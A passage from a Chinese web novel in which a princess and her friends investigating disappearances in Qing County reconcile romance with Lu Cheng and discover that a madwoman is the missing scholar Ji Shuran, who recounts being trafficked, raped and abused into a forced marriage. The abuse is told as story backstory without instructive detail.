唐岚便笑了,“几位姑娘随我来吧。” 她带着几人穿过闹市,往小巷走。 附近瓦房明显要低矮暗沉许多,屋顶上方升起炊烟,饭菜香气顺着风飘至鼻尖,十足的烟火气。几丈之外支了个棚子,褐色长布上写着“方氏饺子”几个大字,棚下热闹不已,来往不仅有寻常百姓,也有穿着官服的衙役。 唐岚上前,唤了正在忙活的老人一声,“方叔。” 被她称为方叔的人转过头来,饱经风霜的脸上露出欣喜,“岚姑娘回来了?” 低头瞧着唐岚牵着的玉雪可爱的小姑娘,他脸上笑纹更深,激动又兴奋,“这、这是岚姑娘的女儿?” “是啊。” 唐岚笑道:“糖糖,快叫方爷爷。” 薛唐脆生生唤:“方爷爷好。” “诶、诶,好,好。” 方叔眼里漫出笑意,擦了擦手,在身上摸了空,苍老的脸上浮现出尴尬。 唐岚忙道:“方叔,还有座吗?我和几个朋友饿坏了。” “有有有。” 方叔立马应声,“你以前常坐的那桌刚好空着。” 他转身抓了帕子,一瘸一拐地走向空着的方桌,仔仔细细擦着桌凳。 谢瑛望着他的腿,犹疑道:“这位方叔的腿……” 唐岚叹了声气,“方叔早年参过军,后来腿受了伤,便回到故乡娶妻生子。他儿子长大后一门心思想往军营里跑,方叔方婶不愿,想着给他娶个媳妇,等他成了家便能老老实实过日子,可谁知他成婚后还是跑了,没几个月便在剿匪途中丧了命。没多久,方叔怀孕的儿媳妇被人推了一把,生下一双儿女后撒手人寰,留下他们祖孙四人相依为命。” 环视一周,唐岚道:“方叔腿脚不利索,方婶身子弱,做不了什么活计,但好在手艺还不错,老两口便开了这家店,以此为生。” 萧婧华听着,皱着的眉头怔忪散开。 那边,方叔招呼唐岚过去,她笑了笑,“走吧。” 箬兰瞧了眼长凳,正要把帕子垫上去,萧婧华拉住她,对她摇了下头,跟着云慕筱坐下。 方叔站在一旁有些局促,“几位姑娘想吃点什么?” 谢瑛托腮,“先来两盘猪肉饺子。” 萧婧华道:“我要素的就行。” “我也来素的。”云慕筱接着道。 “云姐姐和婧华姐姐怎么都要素的,娘,我要吃肉!” 薛唐扬着小脸大声宣布。 唐岚笑着摸了摸她的脸,“好,咱们糖糖要吃肉。” 她望了眼萧婧华身后的予安觅真,和站在云慕筱身侧的谢春,估摸了片刻道:“方叔,十盘猪肉的,两盘素饺子。” 方叔也是在军中待过好几年的人,能看出红衣服扎马尾的姑娘和站着的那三位是练家子,没露出震惊之色,笑呵呵应道:“好,马上就来。” 萧婧华目光追随着他,又落在忙着煮饺子的妇人,和进进出出端盘子的小姑娘身上。 云慕筱顺着她的视线看过去,“那便是方叔的孙女?” 唐岚感慨,“是,都这么大了。” 谢瑛问:“不是说还有个孙子?” “读书呢。”唐岚道:“方叔方婶咬牙送他去了私塾,那孩子懂事,刻苦用功,有空便回来帮衬家里。” 薛唐看了看比她大不了几岁的姑娘,天真问道:“娘亲,我能去找那个姐姐玩吗?” “不行。”唐岚拒绝了女儿的请求,柔声道:“姐姐在忙,你不可以去打扰她,知道吗?” “知道了。” 薛唐有些失落地垂下小脑袋。 萧婧华探手过去,捏了捏她脑袋上的小揪揪,“怎么,和我们几个姐姐玩腻了?” “当然没有!” 薛唐立马表态,板着小脸道:“姐姐们这么漂亮,我恨不得日日夜夜和你们待在一处,怎么可能会腻!” 云慕筱忍俊不禁。 谢瑛“嚯”一声,惊道:“这小嘴,可真甜啊。” 唐岚刮薛唐鼻尖,无奈道:“也不知从哪儿学来的油嘴滑舌。” 薛唐吐了吐舌头。 饺子很快上了,满满当当一大盘,分量十足。萧婧华尝了一个,味道的确不错。 勉强吃了几个,剩下的全进了谢瑛的肚子。 离开之时,唐岚带着薛唐和方叔寒暄,萧婧华回头望了眼方叔的小孙女。 七八岁的年纪,稳稳当当地端着盘子进出,个子虽算不上高,但看着很健康,脸上带着灿烂笑容,充满了生气。 萧婧华有片刻的愣神。 一道人影从身旁走过,隔绝了她看向小姑娘的视线。 侧脸有些莫名眼熟,她正要看,那人已走过,只留下一道背影。 “婧华,走了。” 谢瑛在前头唤。 “来了。” 萧婧华应声,提步跟上。 离开“方氏饺子”,走在街上,谢瑛问薛唐,“还想去哪儿?” 薛唐歪着脑袋想了想,拉着唐岚的衣摆,“娘亲,我记得你说过,有家卖糖……” “哪儿来的疯婆子,滚开!” 右侧忽然想起呵斥声,硬生生将薛唐的话打断。 萧婧华驻足。 披着一头乱糟糟白发的妇人被人一脚踹下石阶,捂着肚子在地上打滚。 “疼,好疼,娘,有人欺负我,你在哪儿啊娘。” “好疼啊娘,他欺负我,这个赖皮鬼欺负我……” 小厮见她倒地不起,原有些许心虚,一听她说自己是赖皮鬼,立马来了火气,蹭蹭跑下石阶,破口大骂,“你这疯婆子骂谁呢!浑身脏得要死,也不知从哪个臭水沟里跑出来的,就你还想进我们酒楼吃饺子?赶紧滚!” 安婶尖叫一声,爬起来掐住小厮的脖子,大声嘶吼,“赖皮鬼,杀了你这个赖皮鬼!” 小厮面色惊恐,艰难出声,“救、救命啊!” 谢瑛面色一变,快速上前制住安婶,从她手中救下小厮。 小厮跳脚跑到一旁,弯腰捂着喉咙疯狂咳嗽。 安婶被谢瑛抱住,十指成抓,疯狂挣扎着要去掐他,风吹起两侧头发,露出双颊恐怖疤痕,她脸色阴沉癫狂,语气森森,宛如恶鬼,“赖皮鬼,杀了你,杀了你!” 谢瑛怕伤了她,不敢用力,偏头冲小厮吼道:“还不快滚!” 小厮回过神来,跌跌撞撞地跑进身后酒楼。 谢春和予安一同上前制住安婶,可她力气极大,双眼猩红地盯着小厮离开的方向,“老虔婆,害人的赖皮鬼……杀,杀……” 周遭百姓瞧见她,纷纷惊吓着跑开。 薛唐被吓住了,埋进母亲怀里发抖。 云慕筱亦是一惊,挽住萧婧华的手发紧,“这位婶子,她……” 萧婧华脑子里灵光一闪,总算想起那道熟悉的人影是何人,深吸口气,“觅真。” 觅真应道:“在。” “回方才的‘方氏饺子’,去把许公子请来。” 觅真记性上佳,立马忆起许公子是何许人也。 “是。” 她速度快,没多久便提着许安回来。 许安落地时面色带着惶然,见了发狂的安婶,再顾不上其他,把手里的饺子一丢,扑过去抱住她,小声安抚,“婶婶别怕,安子回来了,别怕别怕。” “你不是想吃饺子了?我买回来了,咱们回家吃好不好?” 他嗓音温柔,不厌其烦,一遍遍安抚着。 安婶渐渐平静下来,呆呆地问:“吃饺子?” “是啊。” 许安笑道:“我买了好多,咱们回去慢慢吃。” 安婶摇头,板着脸道:“我不吃饺子,我要吃兔子,城外山上的野兔子,以前娘经常做给我吃。” 许安哄道:“好好好,我过两日去城外给你抓兔子。” 安婶这才露了笑,“好,抓兔子。” 许安扶着她,捡起地上的饺子,满脸歉疚,“抱歉,我婶子给你们添麻烦了。” 谢瑛摇头,“她情况不太好,你先带她回去。” 许安点头,连连躬身道谢,“多谢你们。” 他揽着安婶,慢慢往家走。 闹了这么一出,薛唐恹恹的,不复方才的活泼。几人便回了府,路上萧婧华顺口提及了安婶之事。 薛唐听着,小声道:“那位奶奶好可怜啊。” “是啊。”谢瑛叹气,“人死了都忘怀不了,年轻时候究竟被欺负成什么样了啊。” 云慕筱沉默。 萧婧华心情也有些沉重。 刚到家门,对面府里忽然传出一连串的争吵,女子尖利的声音极为刺耳,似铁器在耳边剐蹭。 几人齐齐皱眉。 谢瑛问:“这家人怎么了?” 唐岚叹气,“里头住的是家商人,家中妻妾不睦,三天一小吵五天一大吵是常有的事。” “家主不管?” 唐岚一言难尽,“那商人好美色,偏宠妾室。” 谢瑛嫌弃皱脸。 唐岚捂住薛唐的耳朵,歉意一笑,“快进去吧,进去便听不见了。” 萧婧华点头,“唐夫人慢走。” 薛唐窝在娘亲怀里,眼巴巴看着三人,“姐姐,我们明日再约啊。” 唐岚无奈极了。 云慕筱眉心舒展,噗嗤一笑,“好。” …… 往后几日,萧婧华没再看见安婶。 她和云慕筱谢瑛跟着唐岚,将整个庆县逛了个遍。 在她看来,庆县县令算不上好官,但也不是什么贪官污吏,只能说是无功无过。 这样平平无奇的庆县,究竟有什么特殊之处,值得邵嘉远背后的人惦记。 影六那儿也无收获,查探陷入僵局。 就在这时,陆埕回来了。 第102章 “孟年来传话,说夜里有灯会,陆大人邀郡主和两位姑娘一赏。” 萧婧华翻看影十七传回来的消息,随口问:“他自己怎么不来?” 箬兰回:“孟年说陆大人明日一早又要走,就今晚,还是他特地抽空回来的。” 萧婧华翻动册子的手一顿。 她垂眸望着邵嘉扬的路线,心中有了数,阖上册子扔在一旁,回道:“行,那你让他等着。” 即便夜里要出门,晚膳也极为丰盛。 谢瑛放下筷子舒服地喟叹一声,伸着懒腰站起,“走吧,我去隔壁叫唐夫人和糖糖。” 萧婧华携着云慕筱跟在她身后。 到府门时,便见陆埕候在石阶下。 就出去这么几日,他清减不少,脸部轮廓越发分明,眉目清冷淡了两分,倒是多了些锐气,似削尖的青竹,远远看去苍翠挺拔,可若是凑近一碰,难免会被刺伤。 谢瑛对他轻轻颔首,旋即转向隔壁。 云慕筱松开萧婧华的手,提着裙子追上,“阿瑛,我和你一起。” 谢瑛看了眼她,又看了看正往萧婧华走去的陆埕,笑了下,拉住云慕筱的手。 “行,咱俩一起。” 多日不见,陆埕紧盯着萧婧华,目光从她眉眼扫至饱满红唇,不见丝毫萎靡,心中稍安,垂眸看她,低声问道:“这几日睡得如何?” 萧婧华点点头,语调懒懒,“还不错。” “那便好。” 陆埕唇边绽开笑,往萧婧华那边挪了一步,见她没躲,心头一动,喉结滚了滚,偷偷摸摸探出指尖想去牵她。 夜色将至,檐下亮着灯,橘红色弧光映照在他脸上,眉目被晕染得极为温柔。“你这小贱。人,给我站住!” 对门“吱嘎”开了,里边走出一名身着水红色襦裙,姿容艳丽的女子。 她娉娉婷婷跨出门槛,回眸笑着,勾人的狐狸眼媚得仿佛能滴出水来,“夫人,老爷还等着我一同赏花灯呢,您啊就别拦我了,就算拦了,老爷也不会邀你同去。” 一名身着华服,面容憔悴的夫人追了出来,恨恨骂道:“你这小贱蹄子,整日除了拿老爷压我,你还能作甚?!” 女子捂唇媚笑,眼波流转,“自然是陪老爷赏灯啊。妾身便不与夫人过多寒暄了,免得老爷久等。” 她不顾夫人难看的脸色,带着身后侍女离开。 目光在萧婧华和陆埕身上转了两圈,女子眼尾一挑,朱唇轻启便要出声调侃。顾及身后的夫人,她把话咽了下去,只朝陆埕抛了个媚眼。 陆埕蹙眉避开她的视线,垂眸凝着萧婧华。 女子无趣地“切”一声,扭着细腰转身走了。 夫人对着她的背影骂道:“真不愧是勾栏里出来的狐媚子,这一身勾搭人的本事可真了不得,也不知对多少个男人献过媚!就这么个千人骑万人枕的东西,老爷偏眼瞎地把她当宝!” 侍女忙道:“夫人,这话可不能当着老爷的面说。” “我知道。” 夫人一抹眼泪,恨声道:“我就是气不过!” 她狠狠拂袖,扭头进了门。 府门在萧婧华眼前阖上。 她恍惚间想到,倘若温婵姿没有为了书生赎身,仍然待在那间青楼里,未来会不会如方才那女子一般,和别的女人争同一个男人,争得头破血流,你死我活。 “怎么了?” 陆埕握住萧婧华的手。 手中柔荑微凉,他两手覆上将它拢住,放在唇边轻轻哈气。 指间温热气息唤醒了萧婧华的神志,瞧见眼前情形,她猛地抽回手,微微偏身,“筱筱和阿瑛怎么还没回来。” 话音甫落,谢春从隔壁出来了,“郡主,我家姑娘正给唐夫人和糖糖姑娘挑选衣饰,一时半会儿动不了身,她让您和陆大人先走,她们随后就去。” 怪不得方才走得那么爽快,原来打的这个主意。 萧婧华面上微烫,“行。” 箬兰和予安觅真遥遥落在后头,萧婧华与陆埕并肩而行,倏尔偏头看他,“你很高兴?” 陆埕敛了笑,“怎么看出来的?” 这还需要看?不是明摆着呢? 凤眸里有碎光蔓开,陆埕握了萧婧华的手,拉着她穿过人群。 “跟我走。” 月明星稀,浮云淡薄。天上的星子落了人间,一簇簇在少女身侧点亮,她行在其中,连裙摆好似都染上了星光。 两侧人影幢幢,与她擦身而过,欢声笑语隐去,她眸中映着灯火阑珊,却只看得见那一人。 “到了。” 萧婧华环顾,除了空旷些,没看出特殊之处,“来这儿做什么?” 陆埕道:“可以了。” 可以什么? 萧婧华一头雾水。 倏然一声怪叫,有东西从她眼前飞上天,“砰”地在空中炸响,烟火似金菊展开,花瓣层层绽放,一朵开尽,又有无数夺簇拥着盛放,将漆黑夜幕一瞬点亮。流光如星划过天幕,造就一场璀璨绚丽的星雨。 萧婧华目光怔怔,瞳眸倒映着这场灿烂烟火。 耳畔陆埕轻声问她,“喜欢吗?” 萧婧华回神,凝视陆埕轮廓分明的侧脸。 察觉到她的注视,他转过眸来,眸底有烟火盛开,如茫茫雪地里遽然升起的一片星海,纯净浩瀚。 萧婧华动了动唇,“怎么突然让人放这个?” 陆埕含笑眸里泄出些许赧意,“只是觉得你会喜欢。” 她会喜欢,所以便放了。 隐隐的欢呼声从远处传来,似是有姑娘和孩童在为这场突如其来的烟火惊喜不已。 萧婧华抬头,望着天幕怒放金盏。 夜风吹起她鬓上步摇,唇畔笑意若隐若现。 她确实很喜欢。 安静看完整场烟火,最后一缕流光坠落,萧婧华忽然问他,“这支木簪上的,究竟是什么花?” “什么?” 陆埕不解。 下一瞬,他看见萧婧华从袖中取出一根木簪。 木簪上的雕花并不出色,反而格外粗糙,却令他瞳孔震颤,喉间发紧。 “不是说扔了?” “是扔了。” 萧婧华嫌弃,“这种丑东西,不扔留着作甚?” “可没想到箬竹那丫头瞒着我,偷偷留下了。” 指尖摩挲着雕花,萧婧华轻声道:“很久以前便想问了,这是什么花?” 陆埕送给她的玉饰上,几乎都刻着这花。 他垂眸注视着那根木簪,低声道:“扁竹兰。” 那年父亲尚在人世,随上峰自蜀地公办归来后送给母亲一根簪子。 他说偶然在丛丛竹影下见到一抹清新雅致的白色,极衬母亲,问了当地人那花的名字,特地为她定做了一根银簪。 陆埕记得,父亲当时摸着他的脑袋,温柔道:“阿埕往后若是有了喜欢的姑娘,记得送她一朵竹兰。” 他记住了。 在他因流言蜚语心生执念,疏远她、冷落她时,送给她的及笄礼上,却下意识刻上了一朵扁竹兰。 在他并未意识到的内心深处,萧婧华,从来都是他想要共度余生的那个姑娘。 萧婧华长睫轻颤,捏着木簪的手绷紧。 “及笄礼,早就被我扔了。” “没关系。” 陆埕柔声道:“往后,我可以给你更多及笄礼。” 他保证,“十五年一次,绝不失约。” 萧婧华笑了。 她将木簪收好,仰面迎风,似是不经意问道:“我送你的玉佩呢?” 陆埕取下腰上荷包,从里拿出一枚玉佩。 萧婧华探手拿在手中。 玉佩上有个不起眼的划痕,是她不甚留下的。当初她满心忐忑,可没想到陆埕根本就没注意。 陆埕低声,“我对白姑娘,从未有过男女之情。” “我知道。” 萧婧华将玉佩重新放在他手中。 她看着他,“三个月。” “给你三个月,若是让我满意,我便大人有大量,原谅你一次。” “你记住。”萧婧华一字字道:“这是最后一次。” 就像她劝说云慕筱时说的话,凡尘一世,唯欢而已。 既然心中还有他,只要她感到欢喜,前尘往事,她可以不去计较。 身子猛地被人拥住。 陆埕紧紧抱着她,激动到语无伦次,“婧华,你当真,我可以……” 乱七八糟说了一通后,他不说话了,埋首在她颈侧,嗓音低低道:“婧华,谢谢你。” 谢谢你,还愿意给我一个机会。 萧婧华仰脸望着空中明月,忽然不甘心开口,“你冷待我三年,我只冷落你这么短的时日,好不公平。” 陆埕闷笑着将她松开,双手握着他的肩,郑重道:“那我用一辈子赔。” 萧婧华翻了个白眼,“谁稀罕。” 话这么说,唇角却悄悄翘起。 陆埕缓缓把她抱在怀里,悄声在她耳畔道:“今晚去我那儿?” 萧婧华抬头,隔着衣料在他肩上狠狠咬了一口,“你还蹬鼻子上脸了?” 陆埕苦笑,“我明日便走了。” 萧婧华一顿。 大手托着她后脑,陆埕语气微沉,“附近村庄里,这些年失踪了不少年轻气壮的男子,每个村子虽然都不多,但若是整个营州加起来,却是个不小的数目。” “我既是来巡视的,便该担责。” “婧华。”陆埕顺着她长发,唇瓣落在她发梢,似蜻蜓点水,“接下来,我或许很长一段时间都不能回来了。” 语气又低又轻,尾音委屈缱绻,勾人得紧。 萧婧华松口,妥协了,“成吧。” …… 醒来时陆埕又不在。 萧婧华浑身酸软,躺在床上不想动。 情潮退却,理智回笼。 忆起昨夜陆埕所说,萧婧华发现自己陷入了误区。 一直以来,她都局限于庆县,却忘了周边村镇,甚至是深山。 若想避人耳目,人迹罕至的深山老林着实是再好不过的选择了。 脑中清明,她起身回府,唤来影六。 “搜索庆县周边村落大山,若有发现,不可打草惊蛇,立即来报。” 影六俯首称是。 萧婧华半阖着眼皮,指尖在桌上轻点。 庆县有问题,这是毋庸置疑的。 身为父母官的县令,多年扎根此处,对此,他当真一无所知吗? 她虽并未透露身份,但带着那么多侍卫,大张旗鼓进了县城,明眼人一见便知身份不凡,可来了这么多日,县令别说派人查探了,直接视她为无物。 是旷达不羁,还是心中有鬼,不敢来见? 萧婧华不置可否。 不过这县令,她倒真想去见见。 …… 离开前那一次,陆埕要得太狠,萧婧华连着三日都恹恹的提不起兴致。 直到第四日,她终于养了过来,带着云慕筱和谢瑛去了县衙。 谢瑛抱着枪不解,“好端端的来这儿做什么?” 萧婧华道:“来了这么久,总该来见见。” 她道:“纪夫人当初失踪,县衙应当有卷宗记录在案,看看也是好的。” 谢瑛被说服了,重重点头。 云慕筱瞧了萧婧华一眼,心中莫名。 到了县衙,三人吃了闭门羹。 “你是说,曾县令妻子娘家吃鱼中了毒,他看望丈母娘去了?”谢瑛不可置信。 “不错。” 衙役点头。 萧婧华皱眉。 云慕筱问:“那不知曾县令何时能归?” 衙役挠头,“这我就不知了,怎么也得等县令老丈人一家身体痊愈再说吧。” “他……” 谢瑛还想再问,萧婧华摇了摇头,拉着她就走。 “算了,改日再来吧。” 离得远了,谢瑛问:“那我们还见吗?” 予安追上来,低声道:“郡主,府中当真无人。” 萧婧华点头。 “见,怎么不见。几日而已,我等得起。” “予安,你和觅真这几日轮流在县衙守着,若是曾县令回了,立即来报。” “是。” 这一等便等了五日。 天热了,萧婧华穿着薄衫和云慕筱谢瑛在屋里吃冰,予安陡然进了屋。 “郡主。” 萧婧华吃了颗葡萄,随口问道:“曾县令回来了?” “不是。” 予安摇头,“县衙闹起来了。” …… 萧婧华几人到时,安婶正疯狂抓着一个衙役的衣领不放。 她似是好几日不曾换洗衣物,浑身染着脏污,头发乱得与杂草一般无二,藏着泥垢的指甲几乎要戳破衙役的脖子,哭声哀恸,凄惨中又如恶鬼哭嚎,令人头皮发麻。 “救人啊,求求你派人去救救他,救救他。” 衙役怒得涨红了脸,“你这疯婆子,赶紧给我放开!都说了,你侄子失踪这么多日,恐怕早就被野兽吃了,哪有可能还活着!” 安婶一听这话,像是受了刺激,掐着衙役的脖子怒骂,“你放屁!他是好孩子,神仙不会收走好孩子的命,他还活着,一定还活着!” “滚开!” 旁边的衙役一把将安婶推开。 她瘦弱的身子跌下石阶,在石板上重重一撞,没了声息。 “快救人!” 云慕筱惊呼。 谢瑛“诶”了一声,忙去试探安婶的鼻息,见还有气,将她抱起往回跑。 “谢春,去请大夫!” “好。” 衙役对着谢瑛的背影呸了一声,骂骂咧咧转身进门。 萧婧华皱眉。 这些衙役,未免太不把百姓当回事了。 周遭百姓的议论声传入耳中。 “一个疯子,身边就只有一个侄子伺候,如今侄子下落不明,她往后该怎么活啊。” “唉,可怜啊可怜。” “那官老爷未免也太傲了。” “不傲怎么做官老爷?赶紧走吧,别说了。” 云慕筱问:“现下怎么办?” “先回去吧。” 萧婧华道:“剩下的等安婶醒了再说。” 回府后大夫已经到了,正在屋里诊治。 谢瑛坐在门外石阶上,担忧地叹了口气。 “别担心。” 云慕筱走近握住她的手,“会没事的。” 谢瑛点了点头。 没多久,大夫走了出来,“只是皮外伤,没什么大碍。” 萧婧华问:“那她为何会昏迷?” 大夫道:“她患有癔症,今日许是受了刺激,我已为她施了针,等她睡醒再喝两副药便没事了。” “她的癔症……能治好吗?”云慕筱迟疑。 大夫摇头叹道:“难。若是患病之初,我还有几分把握,可这么多年了,老夫实在没有把握。” 萧婧华道:“大夫认识她?” “认识。” 大夫道:“她与侄子搬来庆县后便一直由我医治。可惜啊。” 他摇头,“那么有孝心的孩子,竟然就这么失踪了,实在是可惜。” 萧婧华抿唇,“箬兰,送送大夫。” “好。” 老大夫走后,云慕筱叫来雇佣的粗使婆子,“去烧水给安婶清洗清洗。” 多日无人照料,想必身上难受得紧。 话音甫落,房门被推开。 安婶走了出来。 众人皆是一惊。 谢瑛惊讶,“你怎么醒了?不是……” 她顿住。 安婶此刻的神情,不似一个患有癔症的病人,反而平静宁和,与寻常人无异。 她一步步走到院里,步伐平稳,腰背挺直,那姿态,莫名让萧婧华感觉熟悉。 拨开两侧蓬乱头发,安婶努力抚平衣裳皱痕,双手相合,躬身行礼。 “纪淑然谢过众位。” 第103章 风将窗子吹得阵阵作响。 窗外阳光明媚,将荫荫树冠照得金光灿烂。屋内光线昏暗,弥漫着森森阴凉之气。 有人坐在妆台前,拿着木梳细细梳理毛糙的长发。一头及腰长发黑中掺着白,竟比五六十岁的老人还要沧桑。 她将发绾好,粗糙长指颤颤抚上脸庞,细细抚摸着脸颊上的刀疤。 纪淑然怔怔看着镜中之人。 疯了太久,她几乎快忘了当初的自己是何模样。 她在痛苦深渊中挣扎太久,久到忘了母亲,忘了师父的教诲,也忘了自己是谁。 她闭上眼。 浮现在苍老脸上的,是强烈到刻骨的恨意。 …… 谢瑛往屋里看了眼,悄声和两人道:“她当真是纪淑然?” 云慕筱摇头,“我并未见过纪夫人。” 萧婧华一手支颐,“是真是假,等她出来问问不就行了?” 起初她也很震惊,细细琢磨后又觉得不无可能。 倘若纪淑然疯了,不知自己是谁,加之又毁了容,任谁也找不到她。 谢瑛叹气,“若她当真是纪夫人,也不知她这些年究竟发生了何事。” “听姑娘话音,竟是识得我的?” 嗓音自门口响起,院中三人纷纷望去。 她换了身干净衣裳,虽只是寻常布衣,可配着那身如春风般温和的气质,竟有种别样的感觉。 仿佛日夜沐浴在书海中,儒雅随和的先生,任何人在她面前,都不觉安静下来。 谢瑛怔了许久,摇摇头,嗓音都轻了几分,“我并不识夫人,只是略有耳闻。” 纪淑然笑了,双颊上蜈蚣般的刀疤随之一动,分明是丑陋恐怖的,可看着她眼中宁静,却又心生平和。 令人生出诸如两道疤而已,有什么可怕的感慨。 “这么多年了,竟然还有人记得我?” “有的。” 萧婧华道:“山文君一直念着夫人。” “是啊。”云慕筱接着道:“她对夫人失踪一事难以释怀,此次庆县一行,我们正是为了寻夫人踪迹。” “师父。” 纪淑然面色怔然,眼中涌出泪意,停顿两息,话中带着明显的哽咽,“她还记得我。” 萧婧华点头,“一直念着。” 纪淑然闭眼,将眼泪逼回去,“她还……好吗?” “身子康健,只是上了年纪的人,精神劲怎么都不会太足。” “是我不孝,让师父挂心了。” “纪夫人。”谢瑛问她,“您这些年去哪儿了?为何会……” 她踯躅着没把剩下的话问出口。 为何会变成如今的模样。 纪淑然明白她的未尽之意。 是啊,她究竟是怎么变成如今这副不人不鬼的样子的? 纪淑然自嘲扯唇。 她分明,只是救了个人啊。 …… 究竟是多少年前的事,纪淑然已经记不清了。 她只记得,师父在京中给她寻了个替闺阁千金开蒙的差事。 主家宽厚,那小姑娘也不是爱哭闹的性子,纪淑然心中感激,正式上任前抽空回了趟家乡探望母亲。 最初几日和往年回去时没什么区别,大抵是听说她在京中谋了差事,羡慕恭维声比以前多了不少。 纪淑然和母亲说好了,等她彻底安顿下来,便把她接去京城颐养天年。 临走前,她去替母亲买她爱吃的糖糕。 年轻时吃了太多苦,如今日渐年迈,她最好甜口。 买完糖糕,纪淑然正准备回家,路过巷口,却见一年长妇人躺在地上痛苦呻吟。 那妇人年岁和母亲差不多,纪淑然生了恻隐之心,见她摔断了腿无法行走,问清住所后便将她送回了家。 可出了城没多久,纪淑然便被人捂住口鼻,不省人事。 醒来时身处陌生房屋,一个高头大马,粗鼻子厚唇,长相丑陋的男人守着她。 他说,她被她娘十两银子卖给了他,从今往后,她就是他媳妇,要留下来给他生孩子。 他说完便脱了衣服扑上来。 大脑还未完全理清情况,她却要承受陌生男人的侵。犯。 纪淑然在茫然间下意识反抗。 她哭着厮打,推搡,想将身上的男人推开。 可哭声却让他更兴奋,肆无忌惮地蹂。躏她的身体。 直到天亮,他才提着裤子离开。 纪淑然缩在角落,努力无视浑身疼痛,咬着手指泪流满面,忍着哭声,一遍遍告诉自己。 没关系,她受师父教诲,学的是四书五经,习的是经史子集,清白于她而言不算什么,她还能靠着脑中学识,靠着双手养活自己。 没关系的,真的没关系。 娘还在家里等她,只要她回去,只要回去,就当这一切都没发生过。 可她回不去了。 那男人是村里的无赖,整日打架斗殴,长得又丑,年过三十也无人愿嫁。 他娘是个寡妇,性子泼辣不讲理,因心里着急抱孙子,咬牙花了十两银子去买了个媳妇。 纪淑然,就是被她买回去的。 她将纪淑然视为家中资产,看得极牢,白日里把她拘在家中盯着她做活,晚上把她儿子放进屋,让纪淑然给她生孙子。 山中无岁月,一日又一日过去,纪淑然几乎忘了自己失踪了多少时日。 直到肚子大了起来,脑子仿佛被人用锤子狠狠捶打,她猛地惊醒,惊惧惶恐间趁人那老婆子松懈,跌跌撞撞逃走。 她要回去,娘还在等她,她一定要回去! 人生地不熟,她在山中困了三日,终究还是被找回去了。 到生产前,纪淑然再没找到时机逃跑。 生下一个男婴后,她很长时间都浑浑噩噩的,不知来处去路。 直到被哭声叫回了神。 纪淑然怔怔看着躺在身边的男婴,强烈的恨意拢上心头。 是他。 若不是他,她不会被卖到此处,不会让娘在家中苦等。 娘身子不好,若是寻不见她,她该怎么办,能撑到她回去吗? 为什么? 她只是出于好心救人一命,为何老天要如此薄待她,让她陷入这般境地。 眼泪一颗颗滴落,纪淑然眼前一片模糊。 她要回家。 她一定要回家。 婴儿啼哭声刺耳如雷,她在恍惚中捂住他的口鼻。 渐渐的,他没了动静。 醒过神来时,耳侧哭声骂声齐齐涌入。 男人拿着扁担,用尽全力抽打她。 刚生产过的身子本就虚弱,纪淑然毫无还手之力,被打得伤痕累累,奄奄一息。 自那以后,她被锁在榻上,没了自由。 男人口口声声要她再给他生个孩子,纪淑然扯了扯唇,眼中嘲讽。 她绝不会给这种禽兽诞下子嗣。 再有身孕时,看着男人和老婆子一脸的喜意,纪淑然眼里一片冰冷。 晚间,她手握成拳,一下一下捶打着小腹。 腹间剧烈疼痛,她却觉痛快。 身下鲜血涌流,纪淑然望着屋顶,思念着母亲,缓缓涌出了泪。 孩子没了,她又遭到一顿毒打。 生不如死时,纪淑然想,不如就这样打死她一了百了,省得她饱受折磨。 可她终究是活了下来。 往后不管怀多少次,纪淑然始终不会让它平安诞生。 时间久了,男人和老婆子看出她的坚决,渐渐熄了念头。 没等纪淑然松口气,老婆子带了个男人回来。 看清他眼中之意的刹那,纪淑然疯了。 她冲进厨房拿起菜刀,在自己脸上狠狠划了两刀。 血流如注,鲜血在顷刻间爬满双颊,那一瞬间的她仿佛恶鬼,追着老婆子喊打喊杀,硬生生把那人吓跑了。 老婆子吓得屁滚尿流,转身抽出扁担和她厮打。 纪淑然身子早就垮了,竟打不过一个老虔婆,没两下就没了力气。 从那以后,她的日子更不好过了。 那二人稍有不如意便拿她撒气,打骂是常有之事,最难过的时候,被打得只剩一口气的纪淑然被他们扔在牛棚里,冻得满脸青紫,离去见阎王只剩一步了。 可她念着家中的母亲,硬是忍着不咽气。 邻居家有个孩子心善,偷偷给她了一件衣裳,一碗热汤。 靠着那碗热汤,纪淑然活过来了。 那孩子是长子,父母生了弟妹后在家中便不受重视,常常避着家里人去看她。 纪淑然给他取了个名,安。精神好的时候还会教他几个字。 在那噩梦一般的日子里,许安的存在,是纪淑然唯一的慰藉。 她曾看见许安被父母打骂,心想,等她找到机会,就带着许安一起逃,娘心好,一定会喜欢他。 可许安长大了,她身子坏了,精神也不好,始终没找到机会逃。 那夜,纪淑然听到男人和老婆子的谈话声。 这些年他们又存了些银子,正好够买个姑娘。 老婆子说,这次一定要挑性子软和的,给她生个大胖孙子,家里那个,等人买回来就丢到后山去,免得多张嘴浪费米粮。 纪淑然面无表情地听着。 他们又要祸害姑娘,还想杀了她。 积压多年的恨意一起迸发,纪淑然脑子阵阵发疼,疼得她整个人都要裂了。 回过神来时,许安正一脸惊恐地看着她。 手里的刀遽然掉落,纪淑然呆呆地望着脚下,双耳一阵轰鸣。 许安唇瓣张阖,可她什么也听不见。 那段时日发生了什么,纪淑然想不起来了。 她只记得,家里进了蛇,那两人被毒蛇活活咬死了。 他们死后,纪淑然大病一场。 她在梦中喊娘,一遍遍说着要回庆县。 许安避开家人,带走所有值钱的东西,背着她离开那座大山。 他从未离过村,对山下的一切懵懂又无措,好在纪淑然教他学过几个字,他又机灵,就这么一步步带着她,千辛万苦回到了庆县。 回家那日,纪淑然罕见地精神了几分。 她怕脸上的刀疤吓着娘,特意用布包着,理了理皱巴巴的衣裳,带着许安忐忑地回了家。 没有娘温柔的笑容,也没有她温暖的怀抱。 他们说,这家人失踪的失踪,死的死,早就没人了。那屋子空荡荡的,都荒废好多年了。 这些年来,她不愿去想母亲或许已经不在人世的可能,抱着那微弱的期望苟且偷生,跋山涉水回到家。 她只是想回到母亲身边。 可他们说,娘早就死了。 死之前,还一直念着她的名字。 没了。 什么都没了。 她再也,没有娘了。 纪淑然彻底疯了。 她忘了自己的名字,忘了所有一切。 曾经是惊才绝艳的山文君最钟爱弟子的纪淑然,曾经那个坚韧不屈,温和秀丽的姑娘,那个离家多年,日夜苦读,只为了让母亲过上好日子的姑娘,从此不复存在。 活在这世上的,只是一个遭受多年摧残,深陷痛苦中无法自拔的疯婆子。 …… 纪淑然垂眸,怕吓着这几个姑娘,她并未详细诉说,只将多年经历简单略过,可即便如此,谢瑛依旧气得不行。 